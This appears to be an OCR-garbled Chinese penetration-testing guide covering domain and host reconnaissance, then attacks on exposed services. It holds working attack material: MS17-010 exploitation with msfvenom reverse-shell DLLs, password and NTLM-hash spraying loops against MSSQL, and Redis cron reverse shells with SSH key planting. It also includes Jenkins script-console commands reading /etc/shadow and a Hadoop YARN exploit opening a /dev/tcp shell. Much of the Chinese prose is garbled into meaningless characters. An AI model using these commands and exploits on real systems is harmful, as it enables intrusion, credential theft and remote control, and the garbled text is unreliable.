net group "domain controllers" /domain BEREHB(WMEFZE)

net group "domain computers" /domain BRI

net group /domain B B ) TR

net localgroup administrators AHEER [BESHERAS]

net localgroup administrators /domain G AL B R

net localgroup administrators workgroup\user@ol /add WA P s 2 A 51

https://blog.csdn.net/qq_34801745




view BE R —BANSEIR
view \\ip EFFEIPHE

view \\GHQ T HGHQIT EAHLHI I = HIFFI R
view /domain EFHHMELEL DA

view /domain:XYZ EEXYZEF KIPLE:5FR
accounts /domain EH#IRH P ZEEHEER

Linux

BE HHUR

whoami

HEMREER

ifconfig

BEEWRORE OFB THERS, AMIPERS

netstat -anpt

HEHABERE OFB THERS S

ps -ef

BEEEHEANAEMA®S GREUEN, MEEX, AME>SFER)

cat /root/.bash_history

BEREAN M (FREEXHE)

find / -name *.cfg

10. JG &S B W& Zwmictiy 4 i) — 848 5

=
i

wmicHlecmd—#E7E BT B iwindowshE A HERFETE, FRwmicERZcmd T ARG EFEAKES, SRARFEN A —REFBELRE
AR H & A B8 FHwmicBH T (5 BURE K a4
% Fwmic

WMIgr447 (WMIC) SZFEFF AWMBRHE T #5447 1. WMIC 5BLA KIShellfIsL IR F @43 A . AWMICHILZ BT, WHE
EEHEWMIRS, LAMFH-EETHWMIRHA, BISMS, & 8 HWMIKEARZAPI, 5 H%CIM StudioZ 2K T.
B. MEARBC+HZRIRmEESHVBScripte KNP AIES, EANEBWMIZKRZEPELMR, ERWMERRARZR
BXERT, WMICHKAR T X Fl i i,

wmicH] i .43 H



B EEemdar ST AwmicBE A B R AH, X Bt — T Epowershellth 7T PLMemd iy 447 — FE R 1R

C:\Users\yuN" ®m>ymic

wmic:root\cli>

BEN “/27 RIZRENESED, B QUIT "B,
wmic:root\cli>

BEN “/27 RIZRENESBL, B QUIT mEH.
wmic:root\cli>

BEN “/27 RIZRENEEEL, B QUIT mEH.

wmic:root\cli>

CAWINDOWS\system32\cmd.exe - powershell

Microsoft Windows [hRAs 10.0.18362:301
(c) 2019 Microsoft Corporation. 1% B4 HMNH|,

C:\Users\yyj m>powershell
Windows PowerShell

MeALFTH (C) Microsoft Corporation. 14 B4 T ALF],

ZiH KB F4S PowerShell https://aka.ms/pscore6

PS C:\Users\. " p

https://blog.csdn.net/gg_34801745

#EAwmicHlpowershell# = T

C:\Users\yu >wmic
Nwmic:root\cli>process /?

e~ BNF w4 k.
(K4 > WML &1 | <l4> (<1 where>] | [<KH4>] <B¥4% where>) [EIRTEI>].

ik

PROCESS ASSOC [<#&=U i B 77> ]

PROCESS CALL <Hixk&Hr> [<LirsHF|FE>]
8PROCESS CREATE <4rHc413%>

PROCESS DELETE

PROCESS GET [<JgfEmZ>] [<GREUTFI>]
NPROCESS LIST [<FFAEHD] [KHJFRFAFR>]

dwmic:root\cli>g

https:/blog.csdn.net/qq_34801745




/? EHEWMICH 4 M4 RiET b Ky & B %
process /? BHEEHKIHEE)

wmic:root\cli>wmic process get /?
wmic — FRAEH 4 .

wmic:root\cli>process get /?

Fvk:

GET [<J@Mt7|3#>] [GREUFFR>]
EE: BHAIER = BEHAT | BEAT>, <JEHYIE

ZaiLl

—=

Al LU R LR g
JE Tk

CommandLine
Description
ExecutablePath
ExecutionState

Handle

HandleCount
InstallDate
KernelModeTime
MaximumWorkingSetSize
MinimumWorkingSetSize
Name

OSName
OtherOperationCount
OtherTransferCount
PageFaults
PageFileUsage
ParentProcessId
PeakPageFileUsage
PeakVirtualSize
PeakWorkingSetSize
Priority
PrivatePageCount
ProcessId
QuotaNonPagedPoolUsage N/! MNipsliblog.osdn.netiq_34801745

wmic process get /?  JBIHIREURIEHRB)

R 18 SE B ) 75 22 25 00 A SR 5 B AT 3R

X EFEEHLRWINT x86 I RN, X B AEFHE N

wmic process get caption,executablepath,processid




WAL LH EAEBTRRRESER
FEFEC\WINDOWS\system32\cmd.exe

rosoft Windows [figZ 10.0. 1836
soft Corporation. {

0]
T AT

>wmic process get caption, executablepath, processid

ExecutablePath

running") get name ,processid ,pathname

wmic service where (state= 1 g ) 1 name , proc
aption
ppplication Information
fpple Mobile Device Service
Windows Audio Endpoint Builder 111(!\0] ndpointBuilder
Windows Audio Audiosrv
Base Filtering Engine BFE
onjour fiRSs Bonjour Service
ackground Tasks Infrastructure Service BrokerInfrastructure

TP k55 BthAvctpSve
BV 7] B B 2 R 55
f—‘ri‘"‘”x

Appin
Apple Mobile Device Service

displayName pathToSignedProductExe
360274 L+ C:\360\360Safe\safemon\360tray. exe
indows Defender windowsdefender://

BHE ZRAPHERBTHERL

,pathname , startmode , caption
Pdlh ame
WINDOWS\system32\svchost
Program es\Common Fil

ProcessId
0

4
88
340
464
548

{
o Qlaa_3480174

,startmode ,caption

Processld StartMode
k netsves —p 8 Manual

Apple\Mobile Device Support\AppleMobileDeviceService. exe” 3036 Auto

2\svchost. exe —k LocalSystemNetworkRestricted —p Y Auto

productState
331776
393472

srviceNetworkRestricted —p 226 Auto
rviceNoNetworkFirewall —p p Auto

mDNSResponder. exe 972 Auto
vchost. exe —k DcomLaunch —p 84 Auto

-k LocalService —p BE Manual
> —k appmodel -p e Manual
-k LocalService —p 2 Auto
K Manual
ickToRun\OfficeClickToRun. exe” /service 322¢ Auto
Auto
Auto
DeonLaunch - Auto
LocalServiceNetworkRestricted —p 76 Auto
2 Auto
Auto
e connevee.

>wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe

https:/blog.csdn.netiaq_34801745

wmic onboarddevice get Description, DeviceType, Enabled, Status /format:list




C:\Users\yu wnic onboarddevice get Description, DeviceType, Enabled, Status /format:list

Description=Parallels Video Adapter

Description=Parallels Sound Adapter
DeviceType=T7

Enabled=FALSE

Status=

https:/blog.csdn.net/qq_34801745

BEFERS

C:\Users\yu m>wmic product get name

Name

Office 16 Click—to—Run Licensing Component

licrosoft .NET Framework 4.5.1 Multi-Targeting Pack
Python 3.6.6 Test Suite (64-bit symbols)

IST Development Tools

Vindows SDK for Windows Store Apps DirectX x86 Remote

Vindows SDK EULA

Visual C++ Library CRT Desktop Appx Package

licrosoft .NET Framework 4.6.1 SDK

VinRT Intellisense PPI - en-us

VS JIT Debugger

l[icrosoft Web Deploy 4.0

licrosoft .NET Framework 4.5 Multi-Targeting Pack

Vindows App Certification Kit SupportedApilist x86

licrosoft Portable Library Multi-Targeting Pack Language Pack - chs
Vindows SDK Desktop Headers arm

l[icrosoft .NET CoreRuntime For CoreCon

Vindows SDK for Windows Store Managed Apps Libs

vepp _crt. redist. clickonce

icecap collectionresources

Apple MARERFZH (64 £7)

vs communitymsires

Vindows IoT Extension SDK

Update for Windows 10 for x64-based Systems (KB4023057)

licrosoft Visual C++ 2013 x86 Minimum Runtime — 12. 0. 2100 %5tpssmiog.csdnnetiaq 34801745

RARBPAHER

wmic environment get Description, VariableValue




wmic environment ge escription, Ve WbleValue
riableV

TEM>\DriverData
KSYSTEM>\OS Windows_NT
TEM>\PATHEXT . COM;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH;. MSC
TEM>\PROC _ARCHITECTURE £ 1
[>\TEMP SystemRoot%\TEMP

stemRoot%\TEMP

emRoot%

MBER_OF_PROCESSORS
KSYSTEM>\PROCESSOR_LEVEL

TEM>\PROC OR_IDENTIFIER nte > , Genuine

Domain, Manufacturer, Model, Username, Roles/format:list

em get Name, Domain, Manufacturer, Model, Username, Roles/format:list

1lels Software International Inc.
irtual Platform

ation”, "LM_Server”,

wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list



Caption=amdsbs
Name=amdsbs
PathName=C: \WINDOWS cem32\drivers\amdsbs. sys

drivers\amdxata.
Status=0K

Caption=AppID IXZBIFEFF
Name=AppID
PathNamQ C:)

Caption=Smartlocker ik 2sIXZNFEF
Name=applo fltr
PathName=C: \WINDC

://blog.csdn.net/

RTELZHE B A LUEE 77 #3830

https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic

Get-Wmi kBt Windows Management Instrumentation (WMD KK SEFISRE X HERER. RINFEEEMEEACKH
windows i S $7 A8 L 7T A WM

Get-Wmiobject -list M T MIwindows &N # AR H F HIWMISK




get-wmiok

Indic dTl(»nLlelflel, Indic (JTiOHTiIlH ..
tionIdenti

Indicationldentifi
TdeHim‘ IndicationTime.

dicationFilterName,
idicationFilterNan

\Lun 1ain,
\D' 1'
Amhm it

;Toup, ) Owner. ..
DACL, Group, Owner...

{provider}
{EventQueryList, provider

get-wmiobject
get-wmiobject -class win32_process

FEA TSN L IRBGERE

HARHSH U R &1 77 SO AT &

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Get-WmiObject?view=powershell

-5.1#parameters

IR powershell B 77 fir 4

SMB( Server Message Block) Windowsth iS5, FEINRERASTFITENLERS, &SRR P2 ILZE XK

Ui 11 R SR PO R ) 7 B PP BB K B 11, K42 B i K IE 2 BE VR TR s R P i 1, 3R AR R B HFEEMS17-010
ﬁ/lﬂ EFEBERT, Ha4EERLETIPCRSH

LW

net use \\192.168.1.x

i 78 A< LA UE

net use \\192.168.1.2 /user:a\username password

¥: alusername H a ATAEHER THINBar4, AT LCAEREFER, #liworkgroup/username

1%, test.local i F2 i\ iF

net use \\192.168.1.2 /user:test\username password

NetBios¥ii 1, 137+ 138 AUDPYiH, EEAFTHMER XM, MNetBios/SMB ARSI FRE 3 Z =2 @it 1393 1



Port: 135

Z3i H FZ{FEHADCOMMRPC (Remote Procedure CalD k%5, FATFI XA 0 EZHMWMI (Windows Management
Instrumentation) & P T B {2 #/E

i FH B 75 T JRwmi c IR 5%
JLF B B iy 2 ER 2 2 28 AR
ﬁD%vJﬁ” 'Invalid Globa| Switch", 7 ZdFX5]54E %00 H 7 #0_E

T FE R L AN Hh 22 A SRS ) P48 U 1) . AR bk P SE B0 2 B RN A i - AR b P L E 2 & 4
[ﬁ’)\ﬁl U2 R RS

Z 38 7] DASGHIE 2 5 7F 3 Exchange Servert

Port: 53

Z 0 ADNSHR %53 1, RERMURAMNTIRS A, % DB B R T o) A3 — T DNSIRAL X IR, 7£ P R T BLE A
DNSHHGHATIBAE %%, Falit: g
SEYE .

dnsf%iE 2 dns2tcp

https://blog.csdn.net/gs1s200808/article/details/50318947

https://blog.csdn.net/deng_xj/article/details/88834124

dnsf#iE 2 unseat2

https://www.cnblogs.com/bonelee/p/7927706.html

https://blog.csdn.net/ddrl2231/article/details/102306989

Port: 389

MTLADP (BREZEXVIHHIO , BTTCPIPH, EBEREF S ISR ERBlizm 0, #ATARBRAERS, WRHA
BXZBHIA T, BibnetsliE H AR T VEAN AT B DL, 7T BA 68 FILADP YR D 34T AR

TR AT A I 2R T hydra %5 55 B

Port: 88

& 0 X ZJT JE Kerberosfi %5, J& TTCP/IPHY, EEAESFSRMVTKDCHIFEREFER, S NAEBSELRE T LT &R M
AIREREKAE, UBRY RIELERS

Port: 5985

Z 0 EFEAHWINRMARS,  WinRM#Z Windows % WS-ManagementffI S2BE, WinRM ft 4@ 2 A /2 48 B T B A A< % Windows
JR 55 84T B IR R . HF HWinRMJR %% B Windows VistaT 45 sl 9 Windows fI BRI 28 14

A

Windows Vista EAZRFBIE5), MWindows Server 2008 RS R ERINTFE K
kSR &R, HEWRDERA BB, b HEERFERD

f#F winrm quickconfig XfwinRMBHATECE, FF/EHTTPHIHTTPSSEENT, HFEEIFEP Kk




. ITTAAM

1. ShEREE K -WIiFi

211 BB L ik B 2 DNSSpoof. Evil Portal. DWall
HE#NR (BEED

HE: FEMRKEXNA WIFi Pineapple (A TFRIFRHER™ WAMEARMEHTE, PAIOGES 32 i JLAMEPGE B e A,
W3k 44 1 F1 3K S shell. Xzt FEFHFDWall. Evil Portal 5DNSMasq Spoofv=AMgi

Pineapple T )& 5 M £ #4135 2 4% Hoff R Blwifidr &, MERZELFAABERFHANETLET. N ELETRESHER
ap, —MREZEFMAKIFRap. XFapiissid bl & & HEap i) &G4 7T AEE Z Kweb B B A H h R B

http://www.wifipi.org:8080/WiFiPineapple-%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C-V1.3.pdf

https://shop.hak5.org/products/wifi-pineapple

SHGBOR DL R SEH B R T !
BB — T A B AR -

=

Evil Portal

A LA FEVil PortallE SRR EX TP-LINK & 22 53 % 85, "& I A R AT LAAE B N R P 72 1 1A 75 99 i e Ak 4 B AT 1 S S W LA 1O
Landing page™. Landing Pagef i B# % MKH T, HARMNEERBIAN E—SREFHAMERvps E, tWAHEETR
n—iksdic, BRI E M5 E B R

Dwall

5 FIDWalli#k 47 o [8) NI DWalldF SCa FR " 45 £ 85", REE R —NBRIAZERER, B IRESERE AT AHTTPE
3R, #URLS. Cookies. PostData, A& Szif &R H % 5 i 1EAE 30 08 1 B A &5

DNSSpoof

b Ab 5 I 29 2 F i) DNSMasq spoctisit. EHIfEF RdnsEhife, IREXEIRE %/ i IR A T iEhAl. AT LUFEhosts %
BRERTREIRA, SR MAZRAG G, SRS R R4 AT B HIP, A BRAT R BB B M C

DNSSpoof ik il Ll ik FkHishell, WA AMZEEHEEZERE— G AW LHvps R TEARL XM, HRXEE AT REXH
ARELME, IR RS S, eRARDE.

DNSk 9 J5 2

DNSHR %28 TAER# R, Fi5PHikBIDNS ARG it (FRABEILT) BIEE, BRRARERFILREE i, FHkix
BRI R 5 HAMDNS RS 2B R . TR/ ikt T8N BB &% FIDNSTE KA A& — MR, HENETHRE
AR, FEHE 0 R E WA S AW R . XBERE, WRBATAUEERE P i KX FIDNSIERE, H—MEEZ RN
PREIER, XA E R TTENRSRE R A NMBEE O R L TENSER, ANIEZRNEENC. XEERFH
nslookup B & B & AT 1E ML, Fltracertdn A IREE: TBEk, dnsikli, FEH&dns, =FEEL T i WK 42 1 B B 5

212 P E R

M B FFAS R H#Hdns
5 1 T4 ) E 42 5 P bk 34T 45

R ZERIR, MRS EEANTER. TR LA R

2. MARGRFAMA
2.21 % RIsFH



2.2.1.1 NmapHa# R FE I

auth  ALFE B4y IGE
broadcast W% #%

discovery MR%E KR
os TEAMRS

external #hEY B
fuzzer  FEOHINIR
intrusive A REERA R)ER
malware M5
safe HFBREFRD
KRAR IR 51
TR A B

HHAZH -vuin

nmap --script=vuln 192.168.175.138



dayu@kali: ~

= dayu@kali: ~ 162x50
Stats: 0:00:13 elapsed; @ hosts completed (@ up), © undergoing Script Pre-Scan
NSE Timing: About 75.00% done; ETC: 22:07 (0:00:04 remaining)

Pre-scan script results:
| broadcast-avahi-dos:

| Discovered

hosts:

| 224.0.0.251

| After NULL UDP avahi packet DoS|(CVE-2011-1002).

| Hosts are all up (not vulnerable).

Nmap scan report for localhost (192.168.175.138)

Host is up (0.00046s latency).

Not shown: 990

closed ports

PORT STATE SERVICE

135/tcp open
| _clamav-exec:
139/tcp open
| _clamav-exec:
445/tcp open
| _clamav-exec:
3389/tcp open
| _clamav-exec:
| _sslv2-drown:
49152 /tcp open
| _clamav-exec:
49153/tcp open
| _clamav-exec:
49154/tcp open
| _clamav-exec:
49155/tcp open
| _clamav-exec:
49156/tcp open
| _clamav-exec:
49158/tcp open

msrpc

ERROR: Script
nethios-ssn

ERROR: Script
microsoft-ds

ERROR: Script

ms-wht-server

ERROR: Script

unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown
ERROR: Script
unknown

execution

execution

execution

execution

execution

execution

execution

execution

execution

failed

failed

failed

failed

failed

| clamav-exec: ERROR: Script execution failed
MAC Address: 00:0C:29:4E:1F:49 (VMware)

Host script results:
| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| smb-vuln-ms17-010:

|  VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servdrs (ms17-010)

| State: VULNERAEBLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBvl
| servers (ms17-010).

|

|

Disclosure date: 2017-03-14

https://blog.csdn.net/qq_34801745

X)LRRE CHERRWN7 EVEBER, FERAN AT RRREL
MS17-010

map --script=smb-vuln-ms17-010 192.168.175.138




dayu@kali: ~ 162x50
% nmap --scriptssmv-vuln-ms17-9010 192.168.175.138

Starting Nmap 7.80 ( https://nmap.org ) at 2028-09-17 22:07 CST
NSE: failed to initialize the script engine:
Jusr/bin/../share/nmap/nse_main.lua:818: 'smv-vuln-ms17-010' did not match a category, filename, or directory
stack traceback:

[C]: in function ‘error’

Jusr/bin/../share/nmap/nse_main.lua:818: in local 'get_chosen_scripts’

fusr/bin/../share/nmap/nse_main.lua:1310: in main chunk

[C]: in ?

QUITTING!
$ nmap --script=ssmb-vuln-ms17-9010 192.168.175.138
Starting Nmap 7.80 ( https://nmap.org ) at 2028-09-17 22:08 CST
Nmap scan report for localhost (192.168.175.138)
Host is up (©.00047s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open  msrpc
139/tcp open netbios-ssn
445/ tcp open microsoft-ds
49152 /tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown

Host script results:
smb-vuln-ms17-010:
VULNERABLE :
Remote Code Execution vulnerability in Microsoft|SMBwl servers (ms17-010)
State: VULNERABLE
IDs: CWE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution wvulnerability exists in Microsoft SMBvl
servers (ms17-010).

Disclosure date: 2017-83-14
References:
/technet . .microsoft.com/en-us/library/security/ms17-010.aspx
blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
ve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

https://blog.csdn.netiaq_34801745

TESLPRBENR TEFR &% 2B 2RI H Fmssq iR 55 2% 2 4, R SC 3 48 impacktE 22 H mssqlclientf¥) {5 F % .

mssqlclient5 F4th T B AH b i OL 54
P&, pythonfiAHwE, IHHEHexeRA&
A AATHAT, BEER
KRR socks IR
S HF Lhhash &3 i 77 AT I 5 30 1E
X windowsIMERE AT ms sqfR S5 i 22 &kl
HATsqir S AT LR R, thal LB E B sqir 4 PITE 3

winfil linux3F 3 F { F
1) fEwindows¥ 58 T fff FHwindowsMIERE S, mssqlclientillif & Fisqlserverfk 585, 510 UEE T /52 H#EIR[F sql shell

mssglclient.exe dayu/sqladmin@192.168.3.73 -windows-auth

2) J8id socksUH, TElinux3 % T # A windowsiMERE R, mssqlclientfl] iR sqlserverfik %5488, S RIFELEFSEHE
sql shell

proxychains python mssqlclient.py dayu/sqladmin@192.168.x.x -windows-auth




3) T socksfUH, Llmssqllk S IiE 5 R & FimssqliR S 2%, WS IE B0 JE AT mssql. et Fsqlr 4

proxychains python mssqlclient.py ./sa:admin@192.168.x.x -file mssql.txt

4) Bt socksfRE, TElinuwdF3E T3 A windowsiMEH R, mssqlclientfllik % Fsqlserverff %85, M5 WAE &I 5 AT
command.txtPd f¥sqly 4

proxychains python mssqlclient.py -p 1433 dayu/sqladmin:123456@192.168.x.x -windows-auth -file cpmmand.txt

5) fEwindows¥F 3% T f# FwindowsAIERE R, 43 Fntlim hash3&iE 53, mssqlclientilliX & Fisqlserverfk 5525, K5 AE B.Ih G h
1Fcommand.txt Hsqldr &

mssqlclient.exe -p 1433 -hashes :"hashfd" dayu/sqladmin@192.168.x.x -file command.txt -windows-auth

[ t1 7] LA Fwebshell 3R 35 T
M= g R

Btz Ab, EATCAREEA B P SQL serverR 55 23 KK 5 2 4
FERLR A

mssqlclient.exe(X

command . txt (A40)

AT AN SO R e —

hashes.txt (FWIEK ntlm hashZFfFEFIR)
username.txt (FIIEK username®|3&)
password.txt (FHIIERFEREZREFIR)
Ips.txt (FRIEWpFFEHIR)

Z445) LAF JUAD L R A W B batid Ay &

1) PR L windowsIMVIERE R, 8 Flhashi&#KE, 4 mssqlclientitt B3R % F sqlserverfiR55 5%, Ips.txt P2 56
sqlserverfR &%ip, 1T —%

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 -hashes :hashff

2) MHA LA windowsiAIERER,, {# FHhashEiBI8E, #5852 EML ntim hashiE Ji%E, hashes.txt95 Ml &40 ntim hashW &, 1T
—%

FOR /F %%i in (hashes.txt) do mssqlclient.exe -p 1433 -hashes %%i domain/adminis

3) MR LA sqlserverIEHER, &AM EHL, ¥FHKAFE passwords.txt I RSA B tk, passwords.xtHEHIFLHE, 17
—%, WIERINEIAT command.txti sqlfy 4

FOR /F %%i in (passwords.txt) do mssqlclient.exe -p 1433 ./sa:%%»i@192.168.X.X ....

4) PIRLL sqlserverihiEME R, 1RE/KNZN, BHKIEp. N A RS S, ip.xtfillsqlserverfk s 8s, #17—%, WiF
BN JEHAT command. txt sqldy 4

FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 ./sa:passwordl23@%%1i -file

XUy A& BB R FE T, REEESERR
SEFH:



https://github.com/SecureAuthCorp/impacket -- T

https://www.puckiestyle.nl/impacket/
https://github.com/SecureAuthCorp/impacket/issues/613

VN

if

ok

BN Ll AR IR, (E R FIMSF AR HUR Y SR, T 58 P py B0 A I & s 2 0
A H

FEZAS L R IIHLIE 22 T Kail 1 Windows7 &4t

windwos7#EHLIP: 192.168.175.138

A AR S dll

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.175.138 lport=6666 -f dll > 64.dll

dayu@kali: ~ 79x53
est# msfvenom -p

rse_tcp lhost=192.
[-] No platform was
payload

[-]

No

Pa

1

py F# k. fb.py

https://github.com/misterch@c/shadowbroker/tree/master



1)k Eip

2)Use Eternalbluef# | Eternalblueffiff
3)Use doublepulsaf# ] doublepulsarfdiff
4)B J5 AT dIl R #ishell
BIESBEABE TR RK. ..

dayu®@kali: ~ dayu@kali: ~
dayu@kali: ~ 162x32

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

O e T B e e oy S Ty Sy =)

XK A S IR . RSB, B R 2 R s R
Redis

RedisZ —MTEHIEHANSICIESME . XIFM% . WETHAFPITHFALKEER. Key-Value e &

reds-cli

redis-cli -h 172.16.x.x -p 6379

w5 N\



172.16.x.%X:6379 > CONFIG GET dir

1) "dir"

2) "/usr/local/var/db/redis"

172.16.x.x:6379 > CONFIG set dir /tmp/

OK

172.16.x.X:6379 SET foobar "who are you? Rvnoxsy"
OK

172.16.x.%x:6379 CONFIG GET dbfilename

1) filename

2) dump.rab

172.16.x.%X:6379 > CONFIG SET dbfilename write_file.log
0K

172.16.x.X:6379

0K

J% #shell-Linux

127.0.0.1:6379 > set shell "\n* * * * *¥ bash -i >& /dev/tcp/1.1.1.1/88 0>&1\n"
0K

127.0.0.1:6379 > config set dir /var/spool/cron/

0K

127.0.0.1:6379 > config set dbfilename root

0K

127.0.0.1:6379 > save

[238] xx May xx:xx:xx DB saved on disk

0K

BAAH
AR

ssh-keygen-t rsa  --—HE[EIREIHE

127.0.0.1:6379 > config set dir /root/ssh/

OK

127.0.0.1:6379 > config set dbfilename authorized keys

OK

127.0.0.1:6379 > set x "\n\n\nssh-rsa xxxxxx root@kali\n\n\n"
OK

127.0.0.1:6379 >

OK

BE e LA DL HE

172.16.x.%x:6379 > FLUSHALL

2.2 2. 1R BRI & 4
KRB

Redis

T RIME S & # shell

AT RIME S5 AT 5% R 3 shell

fEredis LArooti B iz 47 B 7] LL 5 crontab sk $147 iy & [ #ishell
STEH ORI RS 2 LB —AN g O



nc -lvnp 6666

RIGHAT A2

redis-cli -h 192.168.x.Xx

192.168.%x.x:6379 set x "\n* * * * * bash -i >& /dev/tcp/192.168.x.x/6666 ...
192.168.x.x:6379 config set dir /var/spool/cron/

192.168.x.x:6379 > config set dbfilename root

192.168.x.x:6379 save

BAAH
K Hrsa

ssh-keygen -t rsa

AT Noo.bdt, TER W ARG E M2 #4T

echo -e "\n\n"; cat /root/ssh/id_rsa.pub; echo -e "\n\n") > foo.txt

Kifoo. BN crackit 2

cat foo.txt redis-cli -h IP -x set crackit

EEB R

redis-cli -h Ip

¥ B B riredis i B S04
5 B 503 E &0 B % N /root/.ssh/

192.168.X.X: 6379 > config set dir /root/.ssh/

e B B & 3 SO 44 Jvauthorized_keys

192.168.X.X:6379 > config set dbfilename authorized_ keys

W AHBRIIE N BAHLF, X4 Hauthorized_keys

AR A B Ax

ssh -i /root/.ssh/id_rsa root@192.168.x.x

set x "\n\n\n

W
af
S

https://segmentfault.com/a/1190000009811404

https://github.com/andymccurdy/redis-py

Jenkins
BRI\ 28080 O AR BB 7 5t &L= H P &R se U7 I &R BE AT A &

127.0.0.1:8080/jenkins/manage

127.0.0.1:8080/jenkins/script




HEHELHEE:

println "whoami".execute().text

Linux:

println ifconifg -a".execute().text

println "cat /etc/passwd".execute().text

printin"cat /etc/shadow".execute().text

Windows:

"ipconfig /all".execute().text

= new StringBuffer(), serr = new StringBuffer()

= 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrkill(1000)
println "out> $sout err> $serr"

EHERRAZN, B 7 HITHLSR..

Mongodb

FIA AR T B EER AR : 28017
HE#Robo3t 1.1 BI Al

python mongodb_unauth.py

coding:utf-8

mongodb AR FZAAR I A

usage: python3 mongodb_unauth.py ip port
BRI\ 128017F127017

from pymongo import MongoClient
import sys

ip = sys.argv[1l]

int(sys.argv[2])

conn = MongoClient(ip, port, socketTimeoutMS=5000) #i%# MongoDB, ZEH}5H)
dbs = conn.database_names()

print('[ok] -> {}:{} database_names : {}'.format(ip, port, dbs))
conn.close()

except Exception as e:
error = e.args
print('[-] -> {}:{} error : {}'.format(ip, port, error))

python3 mongodb_unauth.py 192.168.175.1 27017

ZooKeeper

ik 2181, 2171



1s / #EEAT A

https://blog.csdn.net/lihao21/article/details/51778255
https://www.cnblogs.com/wushijin/p/11654076.html

A AU

# coding=utf-8

import socket

def get_plugin_info():

plugin_info = {
"name": "Zookeeper RIZALifE",
"info": "Zookeeper Unauthorized access",
"level": "HIfG",
"type": "REEAIH",
"author": "c4bbage@qq.com",
"url": "https://hackerone.com/reports/154369",
"keyword": "server:Zookeeper",
"source": 1

}

return plugin_info

def check(ip, port, timeout):
try:
socket.setdefaulttimeout (timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
flag = "envi"
envi
dump
regs
ruok
stat
s.send(flag)
data = s.recv(1024)
s.close()
if 'Environment' in data:
return u"Zookeeper Unauthorized access"
except:

https://github.com/ysrc/xunfeng/tree/master/vulscan/vuldb




Elasticsearch

http://localhost:9200/ plugin/head/ web% ¥ 5
http://localhost:9200/ cat/indices

http://localhost:9200/ nodes BET A

coding:utf-8

elasticsearchRIZAUEIHA

author: ske

usage: python3 elasticsearch_unauth.py ip port

BRI\ 19200

http://localhost:9200/ plugin/head/ web’ ¥ 5 MH
http://localhost:9200/ cat/indices
http://localhost:9200/ river/ search &&EHEEHBKER
http://localhost:9200/ nodes & i HEHE

import sys

from elasticsearch import Elasticsearch
import requests

import json

ip = sys.argv[1]
int(sys.argv[2]) # 9200

Elasticsearch("{}:{}".format(ip, port), timeout=5) # &E#Elasticsearch, ZEm 5%
es.indices.create(index="unauth_text")
print('[+] EIh#EHE : {}'.format(ip))
print(‘[+] {} -> BIHEIENRT Runauth_text'.format(ip))
es.index(index="unauth_text", doc_type="test-type", id=2, body={"text": "text"})
print('[+] {} -> AINET Aunauth_texti@ AEHE "' . format(ip))
ret = es.get(index="unauth_text", doc_type="test-type", id=2)
print('[+] {} -> ARIIFRELY funauth_text#HdE : {}'.format(ip, ret))
es.indices.delete(index="unauth_text")
print('[+] {} -> BERIRT Sunauth_text##E ' . format(ip))
print('[ok] {} -> FfEElasticSearchRk#BEHURH" .format(ip))

print("ZRXKBRWAEE: 1)

text = json.loads(requests.get(url="http://{}:{}/_nodes'.format(ip, port), timeout=5).text)
nodes_total = text['_nodes']['total’]

nodes = list(text['nodes'].keys())

print('[ok] {} -> [{}] : {}'.format(ip, nodes_total, nodes))

except Exception as e:
error = e.args
print('[-] -> {} error : {}'.format(ip, error))

python3 elasticsearch_unauth.py 192.168.1.4 9200

Memcache

BN 111211




RN ER IR IR

telnet <target> 11211, & nc -vv <target> 11211

Memcachedif O & XA F8UK), FncEkTelneFf LEEE R, BERER, HiESE w L
BERINL

memcached & & W5 Wr P P SR AT B B Kk 358 R fill JE 0 B2 1 i 72 17 7]

https://www.cnblogs.com/mrhonest/p/10881389.html

Hadoop

Hadoops&—/>HApache# & i F kK 0 N R A ANEE K
AP UEART B ARBHNRERT, FROMAER
7043 ) F BR B I R 70 30T e 2 RN A A

EBRINEDL T, Hadoop o ViR & A/ 1 1A & ¥4 1

poc:

#!1/usr/bin/env python
import requests

target = 'http://127.0.0.1:8088/"
lhost = '192.168.220.137' # put your local host ip here, and listen at port 9999

url = target + ‘'ws/vl/cluster/apps/new-application’
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/vl/cluster/apps’
data = {
‘application-id': app_id,
‘application-name': ‘'get-shell’,
'am-container-spec': {
‘commands': {
‘command': '/bin/bash -i >& /dev/tcp/%s/9999 ©>&1' % lhost,
¥
¥
'application-type': 'YARN',
}
requests.post(url, json=data)
fEexploit. pyH iR HIP
python exploit.py

HDFS

NameNode ERil\¥E 50070
\%i 50075

httpfs ERiAimEO 14000
journalnode ERiliIl 8480

YARN (JobTracker )



ResourceManager ERil¥GI0 8088
Jobtracker BRi\iiH 50030

TaskTracker ERiA4iI0 50060

Hue R A %5 118080

YARN (JobTracker)

master BERiAWH 6001

regionserver Ei\iiH 60030

hive- server2E il ¥ 11000
spark- jdbcserverEk il ¥ 110003

TER B4 RAE, By b RSB U5

Couchdb

2R\ 15984

ZElocal.inifit & =

bind_address = % & 50.0.0.0 U7 7E R AL Vj ]
